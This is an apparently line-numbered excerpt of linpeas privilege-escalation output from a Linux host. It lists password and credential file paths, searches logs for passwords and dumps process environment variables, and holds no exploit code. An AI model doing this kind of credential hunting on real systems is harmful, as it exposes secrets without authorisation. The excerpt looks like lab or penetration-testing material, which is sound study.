/usr/lib/grub/i386-pc/password.mod
1485
/usr/lib/grub/i386-pc/password_pbkdf2.mod
1486
/usr/lib/ruby/2.7.0/bundler/uri_credentials_filter.rb
1487
/usr/lib/systemd/systemd-reply-password
1488
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
1489
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
1490
/usr/lib/systemd/system/systemd-ask-password-console.path
1491
/usr/lib/systemd/system/systemd-ask-password-console.service
1492
/usr/lib/systemd/system/systemd-ask-password-wall.path
1493
/usr/lib/systemd/system/systemd-ask-password-wall.service
1494
  #)There are more creds/passwds files in the previous parent folder
1495

1496
/usr/lib/x86_64-linux-gnu/libmariadb3/plugin/mysql_clear_password.so
1497
/usr/lib/x86_64-linux-gnu/libmariadb3/plugin/sha256_password.so
1498
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/mysql/get_password.h
1499
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/mysql/plugin_validate_password.h
1500
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/mysql/service_mysql_password_policy.h
1501
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/plugin_validate_password.h
1502
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/lib/plugin/debug/validate_password.so
1503
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/lib/plugin/validate_password.so
1504
/usr/share/icons/Adwaita/16x16/legacy/dialog-password.png
1505
/usr/share/icons/Adwaita/16x16/status/dialog-password-symbolic.symbolic.png
1506
/usr/share/icons/Adwaita/22x22/legacy/dialog-password.png
1507
/usr/share/icons/Adwaita/24x24/legacy/dialog-password.png
1508
/usr/share/icons/Adwaita/24x24/status/dialog-password-symbolic.symbolic.png
1509
/usr/share/icons/Adwaita/256x256/legacy/dialog-password.png
1510
/usr/share/icons/Adwaita/32x32/legacy/dialog-password.png
1511
/usr/share/icons/Adwaita/32x32/status/dialog-password-symbolic.symbolic.png
1512
/usr/share/icons/Adwaita/48x48/legacy/dialog-password.png
1513
/usr/share/icons/Adwaita/48x48/status/dialog-password-symbolic.symbolic.png
1514
/usr/share/icons/Adwaita/64x64/status/dialog-password-symbolic.symbolic.png
1515
/usr/share/icons/Adwaita/96x96/status/dialog-password-symbolic.symbolic.png
1516
/usr/share/icons/Adwaita/scalable/status/dialog-password-symbolic.svg
1517
/usr/share/man/man1/systemd-ask-password.1.gz
1518
/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
1519
/usr/share/man/man7/credentials.7.gz
1520
/usr/share/man/man8/systemd-ask-password-console.path.8.gz
1521
/usr/share/man/man8/systemd-ask-password-console.service.8.gz
1522
/usr/share/man/man8/systemd-ask-password-wall.path.8.gz
1523
/usr/share/man/man8/systemd-ask-password-wall.service.8.gz
1524
  #)There are more creds/passwds files in the previous parent folder
1525

1526
/usr/share/pam/common-password.md5sums
1527
/var/cache/debconf/passwords.dat
1528
/var/lib/pam/password
1529

1530
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1531

1532
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1533

1534
╔══════════╣ Searching passwords inside logs (limit 70)
1535
Binary file /var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/user-1000.journal matches
1536
/var/log/installer/status:Description: Set up users and passwords
1537

1538
╔══════════╣ Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars
1539
HOME=/home/rin
1540
LANG=en_US.UTF-8
1541
_=./linpeas.sh
1542
LISTEN_FDNAMES=dbus.socket
1543
LISTEN_FDS=1
1544
LOGNAME=rin
1545
MANAGERPID=1369
1546
NOTIFY_SOCKET=/run/systemd/notify
1547
OLDPWD=/etc/cron.d
1548
PWD=/tmp
1549
SHELL=/bin/bash
1550
SHLVL=1
1551
SSH_CLIENT=192.168.0.106 49106 22
1552
SSH_CONNECTION=192.168.0.106 49106 192.168.0.102 22
1553
SSH_TTY=/dev/pts/1
1554
TERM=xterm-256color
1555
USER=rin
1556
XDG_RUNTIME_DIR=/run/user/1000
1557

1558

1559
                                ╔════════════════╗
1560
════════════════════════════════╣ API Keys Regex ╠════════════════════════════════
1561
                                ╚════════════════╝
1562
Regexes to search for API keys aren't activated, use param '-r'